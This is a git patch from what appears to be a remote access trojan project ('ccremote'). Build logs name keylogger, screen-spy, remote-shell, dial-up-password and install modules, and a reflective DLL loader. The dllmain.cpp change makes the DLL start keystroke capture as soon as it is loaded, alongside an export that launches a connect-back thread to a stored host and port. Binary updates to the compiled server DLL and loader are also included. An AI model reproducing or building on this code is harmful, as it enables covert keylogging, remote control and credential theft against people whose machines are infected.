From 3bff4e9ed2742f12e7f521cb08ec47d6c8a6ce37 Mon Sep 17 00:00:00 2001 From: Cc28257 <1109692332@qq.com> Date: Sat, 10 Oct 2020 15:46:15 +0800 Subject: [PATCH] DLL reflection load successfully executed --- CcMainDll/.vs/CcMainDll/v15/.suo | Bin 144384 -> 143360 bytes .../Debug/CcMainDll.Build.CppClean.log | 30 +++++++++++++++++- CcMainDll/CcMainDll/Debug/CcMainDll.log | 20 ++++++------ .../Release/CcMainDll.Build.CppClean.log | 1 + CcMainDll/CcMainDll/Release/CcMainDll.log | 4 +-- CcMainDll/CcMainDll/dllmain.cpp | 13 ++++---- .../Debug/TestLoadDll.Build.CppClean.log | 16 ---------- bin/server/CcMainDll.dll | Bin 226304 -> 226304 bytes bin/server/TestLoadDll.exe | Bin 1435136 -> 1435136 bytes strCodeTest/.vs/strCodeTest/v15/.suo | Bin 32768 -> 29184 bytes 10 files changed, 47 insertions(+), 37 deletions(-) diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo index 07198b80848c515a231e64d57dbaaaa66238db77..1d0072ddafdad817d916a73f05d7cd84eb6e4393 100644 GIT binary patch delta 5782 zcmdUz4^&iD9>?GBF#`h(i2M@)VHhw05n(XGzkraIB9NHvcF^z-N=ZtJ<$ne;wdA-m zx45pU*<@q2t|qT#s*^RYZP~Udx|`Lm6?*iXj;A%&#Zot6zrUG5U8P#v-E+1JpZELS zzwf^H`~B{{Z>(P!tnG%4qxzc_Mezk)-QC>~iVwIO4A*AtdWM>6j5f81RFSa8WO(=N z#80*zqeQV-t)s!>yjrHyp`~aVolGvV*k^s+G-NMhplcHkoR0D!pa-1yhctluKrl!H zw*c-p7;+fM1*1VCxkPm}U5COtLAlM290KRQDVg6hDK>rkJMhSJj)%s!)5a&A2DOEVkWN??_zs<4qXwfggjH>Orh9zVRHVIR>PMG6jg)3s1{x75`P2xz^P|;o$EAnUNLYf#n>Gio$ zwkc-K9DbCH$I)v!Zp6tJ^`+?zkKW)ONcDm(v)tZ46!t2tu4)@nQm#P5N^W$`zUZX4>=y9Y9@0#+0tw2Ep2i7 zda{?R_6)U`riC5Ul4L^j>~_EZ+JprrY~Q5XDlo&bn8u1)+AkKbc$5Ze7gzXEOU(t+ zbJSVIgP| zE-aHx)f6V*tR;iFMp>vVP-bD>ScJcHrAldfx~#G-!m>PlU*r0~)VqbK9~~~5jtsR| zslsZ8wdZ_BGP9P3XhW+1=u=mZd#?g)gVo?M@FZ9Z)`2Gg`{a7aMzFz~Z}Q3qA%$0G z8y0)@O3qL5`9 zjOeS zUl0yFHQn72(D^l4yt}=DU21^r5EP&ddiWE)ux6P>Qe3PyX4vaw$V6Ckvc25t`#R)` zkz!eRvPkM1E5?|84SbB)4BXSK-8)6ce#05P5gny=aiyPX8)p@+wxJ30vEf$ZuUvTq z{yIx3&->~TZBy7QF{ZMt0WWT~-KMpT%OLw2)f-b5Z%m2$H8HaNESa>C>)s)aR(F#) zu_m6EH7&Psf1vG+9aJOg_r=SN=P5wCrctCQ+V>>Q6DK}2$$K0E|9 zgbCa3XxULk1}$;-r(|EP+FJr_p@jw?IGX;7=Y>wu@kxR`kLtzw&|*)#_+4obhM3|A zFnCLhZz2r%e8S28rr{=>$jDA~>xywRsuxvGhu=lD6x~4_xxO4$n8dP4cly&#jLT;t zo{}*F$~3@9=0{VmmizntWS_3e{8{kUl?OBB^A?H`70vx@e;OQY$;?j68s@pfqDs+n zaD#BoOOxA@DMPm1PP6T8S2`x^v$N7NZr&8*-u0hlv^)_>gJoA9rK-UsP5o%B?Fp-} zo=mthMUkLJiHys;gIW<@oLClI?ME@%U0wbZ^tQL!Ew8Cg@l=1{t!8PyrrP4E-sGJW z%gAf0FN?dnL~A(Z_5KQ4oT`z!sO5}Fb(+l7PL5D~<{mvWRhxSDB@#ROMq}!6B3%uT z#(os)oDxdAs5uJ5U6T1xlrTV5LJP2QO~Uuw{YuYv7QJ!)+RCqsM~c0d!w}0y@+0N) zDC*~QaYuWH+8j+*X^WzCX^p0$pp$qh{B+EGk)KyAGP*+|((%zbOIdSJEs@R`?ijvNZrkuUxwz=IJqI2E;;iG$b}D) zA2L5I^pRr%sXMK|Bvpn!MA3M{sQ;xu$fLPra&Awd3JxjHFp98`oQ+K+47T=F>~dQ<)$pbmD7TkUvYb#t_wlTTapA#P9dTyi1$!mUasP^NspnChIZl@zN+&PKV( z-6Y+$6tX`ky#5}}^;Kk48Y>;QQ<8MVvgB?nqK~j!;!~M1x3G6@8nMoyoCkyDBG4B(qE%svc_%R!68bUmiJ3W$qst z`rr5?gQC=7iZe0AN#cX1aOW1Y+Tq(g(G#;SwfT9niW%=mI_)v)93OG43h%=68x-UK U{%F<08XhFE-(iy5CsM^f0RWzC@&Et; delta 6211 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 diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log index fae17d0..29b29eb 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log @@ -1 +1,29 @@ -f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audio.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videocap.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\servermanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regmanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditopt.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\manager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\kernelmanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\install.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\strcry.obj +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.log b/CcMainDll/CcMainDll/Debug/CcMainDll.log index beffc52..9ce0e97 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.log +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.log @@ -168,22 +168,22 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVe d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(55): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(230): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(235): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(253): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(258): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(208): note: 参见“fopen”的声明 StrCry.cpp f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配 f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”,可能丢失数据 正在生成代码... -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(416): warning C4731: “ReflectiveLoader”: 框架指针寄存器“ebp”被内联程序集代码修改 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(1091): warning C4731: “ReflectiveLoader”: 框架指针寄存器“ebp”被内联程序集代码修改 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(322): warning C4731: “GetCurrentPositionAddress”: 框架指针寄存器“ebp”被内联程序集代码修改 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(324): warning C4731: “GetCurrentPositionAddress”: 框架指针寄存器“ebp”被内联程序集代码修改 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(333): warning C4731: “call_ror_0xD”: 框架指针寄存器“ebp”被内联程序集代码修改 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(336): warning C4731: “call_ror_0xD”: 框架指针寄存器“ebp”被内联程序集代码修改 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(345): warning C4731: “calc_name_hash”: 框架指针寄存器“ebp”被内联程序集代码修改 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(368): warning C4731: “calc_name_hash”: 框架指针寄存器“ebp”被内联程序集代码修改 +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(421): warning C4731: “ReflectiveLoader”: 框架指针寄存器“ebp”被内联程序集代码修改 +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(1096): warning C4731: “ReflectiveLoader”: 框架指针寄存器“ebp”被内联程序集代码修改 +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(327): warning C4731: “GetCurrentPositionAddress”: 框架指针寄存器“ebp”被内联程序集代码修改 +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(329): warning C4731: “GetCurrentPositionAddress”: 框架指针寄存器“ebp”被内联程序集代码修改 +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(338): warning C4731: “call_ror_0xD”: 框架指针寄存器“ebp”被内联程序集代码修改 +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(341): warning C4731: “call_ror_0xD”: 框架指针寄存器“ebp”被内联程序集代码修改 +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(350): warning C4731: “calc_name_hash”: 框架指针寄存器“ebp”被内联程序集代码修改 +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(373): warning C4731: “calc_name_hash”: 框架指针寄存器“ebp”被内联程序集代码修改 LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略 正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突;请使用 /NODEFAULTLIB:library diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log index 379b285..22c6f33 100644 --- a/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log +++ b/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log @@ -36,5 +36,6 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog +f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.delete.1.tlog f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.log b/CcMainDll/CcMainDll/Release/CcMainDll.log index c33f6ec..84f7e00 100644 --- a/CcMainDll/CcMainDll/Release/CcMainDll.log +++ b/CcMainDll/CcMainDll/Release/CcMainDll.log @@ -164,9 +164,7 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVe d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(55): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(230): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(253): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(252): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(208): note: 参见“fopen”的声明 StrCry.cpp f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配 diff --git a/CcMainDll/CcMainDll/dllmain.cpp b/CcMainDll/CcMainDll/dllmain.cpp index b2f127e..0b115b3 100644 --- a/CcMainDll/CcMainDll/dllmain.cpp +++ b/CcMainDll/CcMainDll/dllmain.cpp @@ -211,11 +211,12 @@ BOOL APIENTRY DllMain( HMODULE hModule, { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: - //CKeyboardManager::g_hInstance = (HINSTANCE)hModule; - //CKeyboardManager::m_dwLastMsgTime = GetTickCount(); - //CKeyboardManager::Initialization(); - MessageBoxA(0, "dll hijack", "test", 0); + { + CKeyboardManager::g_hInstance = (HINSTANCE)hModule; + CKeyboardManager::m_dwLastMsgTime = GetTickCount(); + CKeyboardManager::Initialization(); break; + } case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; @@ -225,10 +226,8 @@ BOOL APIENTRY DllMain( HMODULE hModule, -extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort) +extern "C" __declspec(dllexport) void TestFun() { - strcpy(g_strHost, strHost); // 保存上线地址 - g_dwPort = nPort; // 保存上线端口 HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL); //这里等待线程结束 WaitForSingleObject(hThread, INFINITE); diff --git a/CcMainDll/TestLoadDll/Debug/TestLoadDll.Build.CppClean.log b/CcMainDll/TestLoadDll/Debug/TestLoadDll.Build.CppClean.log index e206c4a..566c1c1 100644 --- a/CcMainDll/TestLoadDll/Debug/TestLoadDll.Build.CppClean.log +++ b/CcMainDll/TestLoadDll/Debug/TestLoadDll.Build.CppClean.log @@ -1,17 +1 @@ -f:\myapp\ccremote\ccmaindll\testloaddll\debug\vc141.pdb -f:\myapp\ccremote\ccmaindll\testloaddll\debug\vc141.idb -f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.obj -f:\myapp\ccremote\bin\server\testloaddll.exe -f:\myapp\ccremote\bin\server\testloaddll.ilk -f:\myapp\ccremote\bin\server\testloaddll.pdb -f:\myapp\ccremote\bin\server\testloaddll.ipdb -f:\myapp\ccremote\bin\server\testloaddll.iobj f:\myapp\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe -f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.command.1.tlog -f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.read.1.tlog -f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\cl.write.1.tlog -f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.command.1.tlog -f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.delete.1.tlog -f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.read.1.tlog -f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\link.write.1.tlog -f:\myapp\ccremote\ccmaindll\testloaddll\debug\testloaddll.tlog\testloaddll.write.1u.tlog diff --git a/bin/server/CcMainDll.dll b/bin/server/CcMainDll.dll index 1dd114763fe2f6bf03564cd47f912ef5d06b2623..c5112484a265c0f5832d700b81cc7504d0cd8574 100644 GIT binary patch delta 35032 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 